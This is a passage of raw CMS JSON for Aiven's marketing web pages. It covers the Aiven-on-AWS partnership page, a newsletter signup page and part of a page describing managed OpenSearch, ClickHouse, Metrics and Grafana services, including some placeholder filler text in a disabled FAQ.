compliant."}],"markDefs":[],"style":"normal"}],"title":"Security"},{"_key":"59aaf76c5e81","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"11cf6178671a","_type":"block","children":[{"_key":"8f1d329afb500","_type":"span","marks":[],"text":"Get your questions and tickets handled by members of Aiven core development teams, instead of outsourced support specialists."}],"markDefs":[],"style":"normal"}],"title":"Support"},{"_key":"a46cde92a19e","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ef31dcaa194b","_type":"block","children":[{"_key":"458fe5510fa80","_type":"span","marks":[],"text":"Aiven uptimes can't be beat - we promise to have your services running 99.99% of the time. That's 4 minutes of downtime a year."}],"markDefs":[],"style":"normal"}],"title":"Uptime"},{"_key":"b55bef62d6c3","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b75b64e036bf3f1eda9c1349e49abef43314cfd1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"97a1865fc69f","_type":"block","children":[{"_key":"50e28a22210a0","_type":"span","marks":[],"text":"Receive a single invoice from AWS, instead of two separate bills from AWS and Aiven. Purchases of Aiven services through the marketplace will also count towards your cloud spending commitments with AWS."}],"markDefs":[],"style":"normal"}],"title":"Easy billing"}],"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"subtitle":[{"_key":"d03d3c059080","_type":"block","children":[{"_key":"019b78bd53340","_type":"span","marks":[],"text":"Instead of spending your cycles on setup, security, and system configuration, ongoing maintenance, and scaling reliably, leverage Aiven. We take care of the boring stuff for you, so you can focus on your core business and applications that amaze your customers."}],"markDefs":[],"style":"normal"}],"title":"Why Aiven on Amazon Web Services?"},{"_key":"bbcbd313136d","_type":"logoList","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":false,"grayscale":false,"hideItemLink":true,"logos":[{"_key":"b1295838f9023bf759cf6ae12274123f","_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},{"_key":"6df9bd6bf5bc6be6ae7ae7a4e602b267","_ref":"59141ae6-931b-4202-a95c-4d805376440a","_type":"reference"},{"_key":"1bbfde8a5935","_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},{"_key":"f7b9cb8e9fe2","_ref":"57a6DAKdLzRruiVEdAfNFW","_type":"reference"},{"_key":"5be51370b52ab4db73c32b114808ac53","_ref":"tobLYh2MZdZsk3Hke3PqK","_type":"reference"}],"noSpaceBottom":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/case-studies?hostProviders=Amazon%2520Web%2520Services","title":"Explore AWS case studies"},"roundedCorners":"rounded","tagline":"Our products are trusted by industry leaders","variant":"logo"},{"_key":"ce90d4e608bc","_type":"textImage","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-aa1b8e90387c1ad9f20a7b808cf94acc4354730d-1624x1064-png","_type":"reference"}},"mediaWidth":"w-2/3","noSpaceBottom":false,"tertiaryCTA":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Inquire about AWS Outpost capabilities"},"text":[{"_key":"06804557c1fa","_type":"block","children":[{"_key":"4a16044a827e0","_type":"span","marks":[],"text":"With Outposts, AWS customers can deploy Aiven open source data services for Kafka, OpenSearch, Postgres, MySQL, Cassandra, Redis, and M3 on-premises, as well as in hybrid architectures, with a consistent operating model from on-premises to the cloud. Customers will have the ability to migrate workloads between AWS Outposts and AWS Public Cloud infrastructure without service interruptions at any point."}],"markDefs":[],"style":"normal"},{"_key":"6b2bb8ce2626","_type":"block","children":[{"_key":"bec00dc40bc90","_type":"span","marks":[],"text":"AWS customers can benefit from the faster cloud transformations of the existing on-prem workloads via hassle-free migrations with Aiven."}],"markDefs":[],"style":"normal"}],"title":"Aiven on AWS Outposts","variant":"mediaRight"},{"_key":"fdcd12efdf2a","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-987dbc4f0f736b0470a7c9b3cab9c35b67a1e408-1959x1955-png","_type":"reference"}},"infoBanner":{"_ref":"9e388c4b-a8d3-4ff3-bd55-3d28f1a97e36","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","topOverlap":false,"variant":"vertical"},{"_key":"dec13023b48b","_type":"textImage","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-6d3cce7c3e691fb204b9859af3a962d601419abf-1228x150-png","_type":"reference"}},"roundedCorners":"rounded-tl-br","tertiaryCTA":{"_type":"link","externalUrl":"https://aws.amazon.com/marketplace/seller-profile?id=37261588-4513-4d54-9ef9-195534d74a1b","title":"Launch Aiven services"},"text":[{"_key":"dd8e17a20556","_type":"block","children":[{"_key":"8ea70fe80a630","_type":"span","marks":[],"text":"With Marketplace, AWS customers can deploy any of the Aiven cloud services including Apache Kafka®, Apache Flink®, OpenSearch®, Apache Cassandra®, PostgreSQL®, MySQL, Redis®, and Grafana® and more."}],"markDefs":[],"style":"normal"}],"title":"Aiven on AWS Marketplace","variant":"mediaRight"},{"_key":"689cdc352e7d0ccd458cfe61120568fb","_type":"textImage","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-f8661472539b6c3c7a6a365ad0d2e99960dad89c-1624x1208-png","_type":"reference"}},"mediaWidth":"w-2/3","noSpaceTop":false,"text":[{"_key":"d2e4d0a1df71","_type":"block","children":[{"_key":"e798392892010","_type":"span","marks":[],"text":"Aiven offers customers the ability to leverage Aiven cloud services on their own infrastructure. Customers can simply put their Savings Plans to use, or may have unique networking and security requirements that are solved for by provisioning infrastructure they have greater control over."}],"markDefs":[],"style":"normal"},{"_key":"bb18473f774f","_type":"block","children":[{"_key":"6e0523336b940","_type":"span","marks":[],"text":"This is an option for paying customers, requiring a base set up fee."}],"markDefs":[],"style":"normal"}],"title":"Bring Your Own Cloud on AWS","variant":"mediaLeft"},{"_key":"8d4ba6d570cc","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"ba7c90df93d1","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://go.aiven.io/retail-ebook-aws","title":"Download e-book"},"image":{"_type":"mainImage","asset":{"_ref":"image-4eca6590599dc0fa0081213207cc7dd4467f50db-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"f1648f1c299b","_type":"block","children":[{"_key":"808ee53f07f90","_type":"span","marks":[],"text":"Discover how how retailers can use real-time data, AI-powered search, and dynamic product discovery to create personalized shopping experiences."}],"markDefs":[],"style":"normal"}],"tagline":"E-book","title":"Reimagine Retail with Aiven \u0026 AWS","variant":"default"},{"_key":"914524f19ce8","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://go.aiven.io/Aiven_AWS_Transformation_ebook","title":"Download white paper"},"image":{"_type":"mainImage","asset":{"_ref":"image-92b0f134d157ba241717256058dd78a98bc2a570-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"6e53bc5cf756","_type":"block","children":[{"_key":"d3ea495849650","_type":"span","marks":[],"text":"Dive into four of the top transformation use cases with real-world examples from customers using Aiven services on AWS, along with insights into how your organization can make the transformation leap."}],"markDefs":[],"style":"normal"}],"tagline":"White paper","title":"How an open source cloud data platform drives transformation","variant":"default"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"Related resources","topOverlap":false},{"_key":"435578183afd","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-92b0f134d157ba241717256058dd78a98bc2a570-1200x630-jpg","_type":"reference"}},"imagePosition":"center","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/Aiven_AWS_Transformation_ebook","title":"Download white paper"},"roundedCorners":"rounded-tl-br","tagline":"White paper","text":[{"_key":"72fdbe45520b","_type":"block","children":[{"_key":"275fa5583be00","_type":"span","marks":[],"text":"In this e-book, we dive into four of the top transformation use cases with real-world examples from customers using Aiven services on AWS, along with insights into how your organization can make the transformation leap."}],"markDefs":[],"style":"normal"}],"title":"How an open source cloud data platform drives transformation","topOverlap":false,"variant":"mediaLeft"},{"_key":"33e2ca4b6cff8ca35f9bf1bf3c4f96a9","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"13e9e9102248","_ref":"3be9e9c4-7d27-4aae-b2fe-58e28b598249","_type":"caseStudy"},{"_key":"030393a154da","_ref":"6dd14f60-848e-49e0-9ab1-1fd9342e1ab2","_type":"caseStudy"},{"_key":"e02a1c46b97c","_ref":"97a6f337-05d2-4247-9275-e89d42383441","_type":"caseStudy"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"See why our customers love us"},{"_key":"pygqer759819lfeuspnmjhau07dnwhgz","_type":"accordion","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"headerPosition":"default","isFaqAccordion":true,"items":[{"_key":"iqtpqeo2ghaiqtc9ha624qy9zj8sikos","_type":"accordionItem","id":"aws-outposts","panelText":[{"_key":"icu4wpba7xjqm6ovnje3fmboj5tmilvn","_type":"block","children":[{"_key":"sirnlvufntjzdf742x0iukary4ya5n07","_type":"span","marks":[],"text":"Answer 1: Bacon ipsum dolor amet porchetta pork ribeye drumstick strip steak turducken brisket picanha. Leberkas jowl ham, boudin tongue t-bone shankle. Cow tri-tip venison, doner chislic t-bone shoulder short loin. Pork biltong turducken chuck shoulder meatloaf bresaola ground round beef turkey alcatra hamburger chislic swine. Pig turkey alcatra sausage tenderloin biltong."}],"markDefs":[],"style":"normal"}],"title":"Does Aiven offers AWS outposts?"},{"_key":"ncdvm28ithqwx5tznjpaz6ve2hfov8og","_type":"accordionItem","id":"q2","panelText":[{"_key":"q8l4fobydg10ippinoum5he1aowkqi14","_type":"block","children":[{"_key":"w8t515521227aree6zdd97r8nl676chw","_type":"span","marks":[],"text":"Answer 2: Doner ham hock tenderloin shankle brisket pig frankfurter pork tri-tip. Leberkas pork chop frankfurter, jerky short loin pastrami brisket meatball ball tip. Doner fatback ball tip, cow pancetta turkey short ribs brisket short loin biltong tenderloin salami ground round hamburger. Jowl hamburger pork loin tongue shankle swine."}],"markDefs":[],"style":"normal"}],"title":"Question 2: Shank jerky hamburger brisket picanha chuck short loin landjaeger"},{"_key":"0tx3wz9ihh8ck0oumbjwk5toqqtorrzc","_type":"accordionItem","id":"q3","panelText":[{"_key":"wdthobkqgzgmlhlk2iz01lsh0yfp6oln","_type":"block","children":[{"_key":"eksvisg2afjq8maet005i87nm3rp4ift","_type":"span","marks":[],"text":"Answer 3: Meatloaf shoulder pancetta, biltong tri-tip brisket beef ribs chislic ribeye landjaeger filet mignon chicken boudin. Salami meatball pastrami turkey drumstick hamburger. Ham hock pancetta filet mignon beef tongue cow. Prosciutto venison pork short ribs. Cow pig beef ribs picanha pork loin."}],"markDefs":[],"style":"normal"}],"title":"Question 3: Cow pig beef ribs picanha pork loin"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"FAQ","topOverlap":false},{"_key":"9c99b5c9396d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo today"},"roundedCorners":"rounded-t","subtitle":[{"_key":"eda554b7e265","_type":"block","children":[{"_key":"4711034788500","_type":"span","marks":[],"text":"Experience the trusted open source data solutions on AWS, now with effortless installation and dedicated assistance. Find us on the AWS Marketplace or opt for the Bring Your Own Cloud (BYOC) approach."}],"markDefs":[],"style":"normal"}],"title":"Book a personalized demo","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Leverage the powerful, proven open source data services you know and love on AWS. Easy setup, real human support, integration with your AWS billing, and the option to BYOC.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-8b626216b6356e4dd7894310f36ca825487d63b1-1567x844-png","_type":"reference"}},"metaTitle":"Aiven + AWS Partnership | Aiven on AWS Marketplace"},"slug":{"_type":"slug","current":"/aws"},"title":"Aiven + AWS Partnership"} {"__i18n_lang":"en","_createdAt":"2022-08-25T12:30:08Z","_id":"2e367534-9fbc-41ac-9806-5e832dedf3ba","_rev":"4qiJ1B4HOcJb1a1kk2lRp4","_type":"page","_updatedAt":"2024-11-05T14:20:01Z","content":[{"_key":"7ba4bbb127f5","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"1e7b8a347dd7","_type":"block","children":[{"_key":"69a2d2b7f3a90","_type":"span","marks":[],"text":"Stay up-to-date on all things open source, plus get our latest product updates and news. No spam, unsubscribe anytime."}],"markDefs":[],"style":"normal"},{"_key":"32a48ec3dc02","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"iframeHeight":100,"iframeSource":"https://go.aiven.io/l/890043/2022-01-19/76c87","iframeTitle":"Newsletter subscription","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"newsletter","rounded":false}],"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-148e93ddeba40036d332f7dcea9918f41008ad75-1200x1200-png","_type":"reference"}},"rounded":false,"title":"Updates from Aiven to your inbox","variant":"default"},{"_key":"8acaa3f4a6cf","_type":"cardList","align":"center","disabled":true,"fullWidth":false,"items":[{"_key":"4446d1b3227c","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://go.aiven.io/newsletter-march-2023","title":"Read more"},"subtitle":[{"_key":"a83653e2e278","_type":"block","children":[{"_key":"212d050fa9140","_type":"span","marks":[],"text":"Priceline, Supermetrics, DAR, and many others are thriving with Aiven. Find out how!"}],"markDefs":[],"style":"normal"}],"tagline":"16 March 2023","title":"3 juicy customer stories to make your data cravings go wild","variant":"default"},{"_key":"326e48b88cb5","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://go.aiven.io/newsletter-February-2023","title":"Read more"},"subtitle":[{"_key":"0a76bb871b79","_type":"block","children":[{"_key":"6eba4577b1fa0","_type":"span","marks":[],"text":"How can you recreate Kafka topics with Terraform? Why should you offload your PostgreSQL analytics to ClickHouse? Read more in our newsletter!"}],"markDefs":[],"style":"normal"}],"tagline":"7 February 2023","title":"February is short, read fast","variant":"default"},{"_key":"bd43356618ffbf49b9fc5b53cc189658","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://go.aiven.io/newsletter-December-2022","title":"Read more"},"subtitle":[{"_key":"8acdc8a926dd","_type":"block","children":[{"_key":"5d79a213b4b20","_type":"span","marks":[],"text":"Here’s what we’ve been up to in the closing weeks of 2022."}],"markDefs":[],"style":"normal"}],"tagline":"21 December 2022","title":"2022 is so last year (almost)","variant":"default"}],"primaryCTA":{"_type":"link","title":"Read more"},"rounded":false,"subtitle":[{"_key":"02f7479512e1","_type":"block","children":[{"_key":"20a6b0bcdefd0","_type":"span","marks":[],"text":"Check out the previous issues."}],"markDefs":[],"style":"normal"}],"title":"What can you expect?"}],"seo":{"_type":"metaData","metaDescription":"Updates from Aiven to your inbox. All things open source, plus our product updates and news in a monthly newsletter.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-95d93598c5cc0504a5315224bf2fd3942b467aef-2500x1308-jpg","_type":"reference"}},"metaTitle":"Aiven Newsletter Subscription"},"slug":{"_type":"slug","current":"/newsletter"},"title":"Newsletter"} {"__i18n_lang":"en","_createdAt":"2024-03-22T16:31:23Z","_id":"b073a6f0-4688-49f1-84b3-0246415ea9b2","_rev":"ezMiwuUkJkbYMWycAKOM5I","_type":"page","_updatedAt":"2024-09-10T16:03:20Z","content":[{"_key":"ee7eb6877dcc","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Serve","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"}},"darkTheme":true,"disabled":false,"fullWidth":false,"headline":[{"_key":"d2ebc5039b28","_type":"block","children":[{"_key":"ef9df02d0f9c0","_type":"span","marks":["color-primary"],"text":"Serve"},{"_key":"5859acf7a8f1","_type":"span","marks":[],"text":" data to your applications"}],"markDefs":[],"style":"h1"},{"_key":"33c40aafbd3c","_type":"block","children":[{"_key":"f6fb4623fe6d0","_type":"span","marks":[],"text":"Fuel your digital transformation initiatives by delivering valuable, trusted data to your applications in real time."}],"markDefs":[],"style":"normal"}],"hostProviders":[{"_key":"38252c1c4687","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"e7e5d4becb78","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"c88fea5d1061","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"51204a596698","_ref":"a506fd70-3394-4c5e-a595-caea0c60623b","_type":"reference"},{"_key":"dc6e186fae3c","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-f50ac2c2fb4b0d1f036877549b986641b089a937-1783x1520-png","_type":"reference"}},"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover the Aiven Platform"},"roundedCorners":"rounded-b","title":"Serve data seamlessly across your digital ecosystem","titleMultiColor":true,"variant":"default"},{"_key":"rqeecpgrj4jhhx78pnzmu23sxwjdkc5k","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"headerPosition":"center","image":{"_type":"mainImage","asset":{"_ref":"image-2702ea9969ae3a76a5d686ef4907a187f1a5f6ca-1188x762-png","_type":"reference"}},"items":[{"_key":"kcr83up90ko4pzurw1a1nx84z19dec3b","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"id":"opensearch","panelText":[{"_key":"p3swjuswt0op3lgi00n686iashkdvq93","_type":"block","children":[{"_key":"lmd9axifdb5nl1s222wi54ccb67gnn2c","_type":"span","marks":["strong"],"text":"Document Indexing:"},{"_key":"e61340add659","_type":"span","marks":[],"text":" Index and search documents augmented with ML models, and built-in k-NN support."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a26f110ac25a","_type":"block","children":[{"_key":"59cd842b66dc","_type":"span","marks":["strong"],"text":"Dashboards and Observability:"},{"_key":"4c2603a6c74e","_type":"span","marks":[],"text":" Plugin support for log and trace analytics and custom dashboards."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"45e75be815b0","_type":"block","children":[{"_key":"f2b9e1035c57","_type":"span","marks":["strong"],"text":"Enhanced Security: "},{"_key":"779f19e1e4aa","_type":"span","marks":[],"text":"Granular access control provided by the OpenSearch Security plugin"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2419644a8c49","_type":"block","children":[{"_key":"1b2a263a1187","_type":"span","marks":["strong"],"text":"Integrated Logs:"},{"_key":"b75c513a7dcd","_type":"span","marks":[],"text":" Send logs from any Aiven service in the Aiven Console."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"68e242ba0052","_type":"block","children":[{"_key":"893dc92b623a","_type":"span","marks":["eca6cacea37f"],"text":"Learn more"}],"markDefs":[{"_key":"eca6cacea37f","_type":"internalLink","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"}}],"style":"normal"}],"title":"Aiven for OpenSearch®"},{"_key":"j5x7gkk7sg7le7q8ie9dmcqbfmenf1a9","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_type":"reference"}},"id":"clickhouse","panelText":[{"_key":"1wma645h346jb6toasttu52l84i2ca3b","_type":"block","children":[{"_key":"7w5wmyxkhybcc1sbrreybxmj8wa3dwaj","_type":"span","marks":["strong"],"text":"Lightning Fast Analytics: "},{"_key":"c5f0e33b528a","_type":"span","marks":[],"text":"A columnar DBMS that can process massive datasets with unparalleled speed."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a27772cf0443","_type":"block","children":[{"_key":"04412cfc8c78","_type":"span","marks":["strong"],"text":"Cost Effective:"},{"_key":"4e1c946a9aab","_type":"span","marks":[],"text":" Industry leading compression combined with tiered storage keep your costs low."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"26aca2ea223a","_type":"block","children":[{"_key":"bcb670a119c1","_type":"span","marks":["strong"],"text":"Highly Available:"},{"_key":"6cea3144d0e1","_type":"span","marks":[],"text":" Multi-zone replication and automatic failover ensure your data is always available."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5911769311b8","_type":"block","children":[{"_key":"9dc0c7eb2a7e","_type":"span","marks":["395e4be12112"],"text":"Learn more"}],"markDefs":[{"_key":"395e4be12112","_type":"internalLink","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"}}],"style":"normal"}],"title":"Aiven for ClickHouse®"},{"_key":"ar4eek6syezobt3e2quhcjydd62tyru8","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-85dd452da136a8d9c34d5d317508de811aa34662-48x48-svg","_type":"reference"}},"id":"metrics","panelText":[{"_key":"9in85u85ue2ycn3ah95h47s327orf1l1","_type":"block","children":[{"_key":"6pg4s6ngr6x9t9g3nxr0scrnlpa4z15u","_type":"span","marks":["strong"],"text":"Powered by Thanos: "},{"_key":"9b115365912a","_type":"span","marks":[],"text":"Scalable open source Prometheus compatible metrics solution"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1818287eb913","_type":"block","children":[{"_key":"f70cb43f01d1","_type":"span","marks":["strong"],"text":"Unlimited Retention:"},{"_key":"8e47e090d045","_type":"span","marks":[],"text":" Automatically utilizes object storage for long term retention without breaking the bank"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e260f03a3632","_type":"block","children":[{"_key":"1e5fe425f333","_type":"span","marks":["strong"],"text":"Effortless Metrics:"},{"_key":"77fa57713788","_type":"span","marks":[],"text":" Collect metrics from any Aiven service with a few clicks in the Aiven console."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"408a5e7ab425","_type":"block","children":[{"_key":"094fd13d9c09","_type":"span","marks":["2d09151ee97f"],"text":"Learn more"}],"markDefs":[{"_key":"2d09151ee97f","_type":"link","href":"https://aiven.io/docs/products/metrics"}],"style":"normal"}],"title":"Aiven for Metrics"},{"_key":"yof3ulcdcaqwx5klukmlbq3vjaoeannc","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"id":"grafana","panelText":[{"_key":"qsfixjqh5i798qjfsurpq0khsftidulh","_type":"block","children":[{"_key":"fkpih0i1s8pffgd9av801uxekj5gdsm0","_type":"span","marks":["strong"],"text":"Query and Visualize Data:"},{"_key":"xghva6qhy1kog5cqu1oh06mp83gmlpht","_type":"span","marks":[],"text":" Explore your data and create custom dashboards to surface critical insights."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"nlttojgtjadyibn3ywvd7wtcob4sqp27","_type":"block","children":[{"_key":"p8yq95zbjommi9px4yl3vxl5oq6nlj28","_type":"span","marks":["strong"],"text":"Extensive Integrations:"},{"_key":"jx4suvwow0anq2jjp3rynosgq1ivovh5","_type":"span","marks":[],"text":" Plugins for CloudWatch, Azure Monitor, PagerDuty, and many more."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e5863f041b36","_type":"block","children":[{"_key":"9a2c78c4c1e8","_type":"span","marks":["strong"],"text":"Observability Plugins: "},{"_key":"5bb091d1d09b","_type":"span","marks":[],"text":"Visualize logs, metrics, and traces from OpenTelemetry, Prometheus, and Jaeger."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"47cf00fe97ea","_type":"block","children":[{"_key":"c9e40048bae4","_type":"span","marks":["strong"],"text":"Pre-Built Metrics Dashboards: "},{"_key":"f80aa37254a4","_type":"span","marks":[],"text":"Send data from Aiven for Metrics from the Aiven console."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d14609a16d42","_type":"block","children":[{"_key":"4ffec1c9a90e","_type":"span","marks":["863975c37f84"],"text":"Learn more"}],"markDefs":[{"_key":"863975c37f84","_type":"internalLink","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60","_type":"reference"}}],"style":"normal"}],"title":"Aiven for Grafana®"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tr-bl","title":"The right data in the right place","topOverlap":false},{"_key":"659347f3f5c7","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"1ffaf1620f5b","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"ead10356e48c","_type":"block","children":[{"_key":"d9d6ff9900330","_type":"span","marks":[],"text":"Enhance your applications and sites with search a search engine that includes built-in autocomplete, suggestions, and more."}],"markDefs":[],"style":"normal"}],"title":"Full text search","variant":"icon-card"},{"_key":"a2b892a7804a1d0b0fbf4c7c9ddd5608","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"770804e41af4","_type":"block","children":[{"_key":"c410efdd8f0e0","_type":"span","marks":[],"text":"Process logs, dig into distributed traces, and capture metrics. Integrate with Aiven services and external apps to capture analytics all in one place."}],"markDefs":[],"style":"normal"}],"title":"Analytics \u0026 Observability","variant":"icon-card"},{"_key":"1e5a68a1173223378d54c8cb9e6562fe","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"3ead36114756","_type":"block","children":[{"_key":"794e3e7facaa0","_type":"span","marks":[],"text":"Use vector search and retrieval augmented generation (RAG) to bring the power of AI to your applications."}],"markDefs":[],"style":"normal"}],"title":"Generative 